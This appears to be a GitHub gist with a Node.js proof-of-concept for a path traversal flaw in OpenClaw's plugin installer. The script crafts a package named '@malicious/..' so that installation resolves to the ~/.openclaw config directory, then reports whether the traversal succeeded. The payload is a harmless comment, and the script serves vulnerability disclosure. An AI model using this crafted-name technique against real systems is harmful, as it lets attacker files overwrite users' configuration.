Skip to content

Instantly share code, notes, and snippets.

@logicx24
Last active February 2, 2026 08:49
Show Gist options
  • Select an option

  • Save logicx24/0f802c1647254a578ded8022c8b60238 to your computer and use it in GitHub Desktop.

Select an option

Save logicx24/0f802c1647254a578ded8022c8b60238 to your computer and use it in GitHub Desktop.
OpenClaw: Path Traversal in Plugin Installation (CWE-22)
#!/usr/bin/env node
import { execSync } from "node:child_process";
import fs from "node:fs";
import path from "node:path";
import os from "node:os";
const pocDir = path.join(os.tmpdir(), "openclaw-traversal-poc-" + Date.now());
const configDir = path.join(os.homedir(), ".openclaw");
const extensionsDir = path.join(configDir, "extensions");
// Create malicious plugin with path traversal payload
fs.mkdirSync(pocDir, { recursive: true });
fs.writeFileSync(path.join(pocDir, "package.json"), JSON.stringify({
name: "@malicious/..",
version: "1.0.0",
openclaw: { extensions: ["./payload.js"] }
}, null, 2));
fs.writeFileSync(path.join(pocDir, "payload.js"), "// path traversal proof\n");
console.log("Malicious plugin created:", pocDir);
console.log("Expected safe target:", path.join(extensionsDir, "<sanitized-name>"));
console.log("Actual vulnerable target:", configDir);
console.log();
// Attempt install
try {
const output = execSync(`openclaw plugins install "${pocDir}"`, {
encoding: "utf-8",
stdio: ["pipe", "pipe", "pipe"]
});
console.log("Install output:", output);
// Check if payload.js landed in config dir (traversal succeeded)
if (fs.existsSync(path.join(configDir, "payload.js"))) {
console.log("VULNERABLE: payload.js written to", configDir);
}
} catch (err) {
// Expected: "plugin already exists: ~/.openclaw" confirms traversal
const stderr = err.stderr?.toString() || err.message;
if (stderr.includes(configDir) && stderr.includes("already exists")) {
console.log("VULNERABLE: Install target resolved to config dir");
console.log("Error:", stderr.trim());
} else {
console.log("Install failed:", stderr);
}
}
// Cleanup
fs.rmSync(pocDir, { recursive: true, force: true });
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment